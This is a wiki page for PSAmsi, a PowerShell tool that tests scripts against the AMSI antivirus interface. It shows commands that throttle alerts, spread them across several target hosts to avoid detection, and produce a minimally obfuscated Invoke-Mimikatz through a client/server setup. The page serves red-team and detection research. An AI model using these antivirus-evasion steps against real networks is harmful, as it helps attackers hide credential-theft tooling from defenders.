Skip to content

Controlling AMSI Alerts

cobbr edited this page Sep 22, 2017 · 1 revision

A major downside of PSAmsi is that we are submitting potentially malicious scripts directly to the AV engine, not exactly "OpsecSafe". While there is no outright solution to this (submitting strings directly to the AV engine is kind of the point!), PSAmsi offers a few ways to control the noise we make.

The PSAmsiScanner class, described more fully [here], has Delay and AlertLimit options that help us.

In the New-PSAmsiScanner cmdlet, the -Delay flag allows us to specify how long (in seconds) PSAmsi should wait after it submits a string that AMSI reports as malicious (possibly generating an alert). For maximum stealth, this can be set as long as we are willing to wait.

The -AlertLimit flag specifies a maximum amount of alerts that will be generated during a PSAmsiScanner's execution. Keep in mind that once the AlertLimit has been reached, the PSAmsiScanner will always return False for PSAmsiScans, even if the script would have been flagged by AMSI as malicious.

Some examples of -Delay and -AlertLimit:

PS > $Scanner = New-PSAmsiScanner -Delay 20 -AlertLimit 2
PS > Get-PSAmsiScanResult -ScriptString $malware1 -PSAmsiScanner $Scanner
True
PS > $Scanner.AlertCount
1
PS > $Scanner.AlertLimitReached
False
PS > $Scanner.GetPSAmsiScanResult($malware2)
True
PS > $Scanner.AlertCount
2
PS > $Scanner.AlertLimitReached
True
PS > $Scanner.GetPSAmsiScanResult($malware3)
False
PS > Start-PSAmsiClient -ServerUri 'http://example.com/' -Delay 60 -AlertLimit 30
PS > $null = Invoke-PSAmsiScan -ScriptString $malware4 -Delay 60 -AlertLimit 30

Start-PSAmsiClient and Invoke-PSAmsiScan accept the -Delay and -AlertLimit parameters for convenience, but other functions within PSAmsi accept a PSAmsiScanner object that should be setup with an AlertLimit and Delay value ahead of time.

For example:

PS > $Scanner = New-PSAmsiScanner -Delay 5 -AlertLimit 20
PS > $null = Find-AmsiSignatures -ScriptString $Malware -PSAmsiScanner $Scanner
PS > $null = Find-AmsiAstSignatures -ScriptString $Malware -PSAmsiScanner $Scanner
PS > $null = Find-AmsiPSTokenSignatures -ScriptString $Malware -PSAmsiScanner $Scanner
PS > $null = Get-MinimallyObfuscated -ScriptString $Malware -PSAmsiScanner $Scanner

Keep in mind that some functions, such as Find-AmsiSignatures and Get-MinimallyObfuscated may delay many times throughout their execution and the total amount of delay time will depend on the script being scanned.

Spreading alerts across clients

Using the -AlertLimit parameter with Start-PSAmsiClient can allow us to spread alerts across hosts. This is useful in the case that you don't want to generate a large amount of alerts on a single host, but think it will be more stealthy to generate some small amount of alerts on multiple hosts. This may be the case if the target environment is not collecting and correlating event logs across the network.

This is accomplished by starting up multiple PSAmsiClients on different targets with an -AlertLimit argument. Each PSAmsiClient should point at a single PSAmsiServer.

The server will wait for the first client to run out of alloted alerts, the client will report back ALL of it's cached AmsiScan results, and the server will inform the second client of all these cached results. This allows the second client to pick up where the first client left off. This process will continue until all the requested operations are complete or all clients run out of allotted Alerts.

We first start the server by calling Start-PSAmsiServer: (Verbose output is very helpful when using multiple PSAmsiClients)

PS > $Results = Start-PSAmsiServer -Port 80 -ScriptPath .\Invoke-Mimikatz.ps1 -Verbose
VERBOSE: [Start-PSAmsiServer] HTTP Listener starting on port 80
VERBOSE: [Start-PSAmsiServer] Waiting for request from a client...

We then start several clients on different hosts by calling Start-PSAmsiClient with an -AlertLimit on multiple machines:

PS > Start-PSAmsiClient -ServerUri 'http://example.com/' -AlertLimit 5 -GetMinimallyObfuscated

This results in the following output from Start-PSAmsiServer after the execution of two PSAmsiClients:

PS > $Results = Start-PSAmsiServer -Port 80 -ScriptPath .\Invoke-Mimikatz.ps1 -Verbose
VERBOSE: [Start-PSAmsiServer] HTTP Listener starting on port 80
VERBOSE: [Start-PSAmsiServer] Waiting for request from a client...
VERBOSE: [Start-PSAmsiServer] Servicing GET request from queue.
VERBOSE: [Start-PSAmsiServer] Received POST request from client. Processing data returned.
VERBOSE: [Start-PSAmsiServer] At least one PSAmsiScanRequest has not been completed.
VERBOSE: [Start-PSAmsiServer] Saving 1 PSAmsiScanRequests to send to the next client
VERBOSE: [Start-PSAmsiServer] Waiting for request from a client...
VERBOSE: [Start-PSAmsiServer] Received GET request from client. Adding it t the queue.
VERBOSE: [Start-PSAmsiServer] Servicing GET request from queue.
VERBOSE: [Start-PSAmsiServer] Waiting for request from a client...
VERBOSE: [Start-PSAmsiServer] Received POST request from client. Processing data returned.
VERBOSE: [Start-PSAmsiServer] At least one PSAmsiScanRequest has not been completed.
VERBOSE: [Start-PSAmsiServer] Saving 1 PSAmsiScanRequests to send to the next client
VERBOSE: [Start-PSAmsiServer] Waiting for request from a client...

The PSAmsiServer will continue to run until all of the PSAmsiScanRequests are completed. We can continue to start PSAmsiClients with the -AlertLimit parameter until execution completes. We can always start a PSAmsiClient without an -AlertLimit to guarantee execution will complete.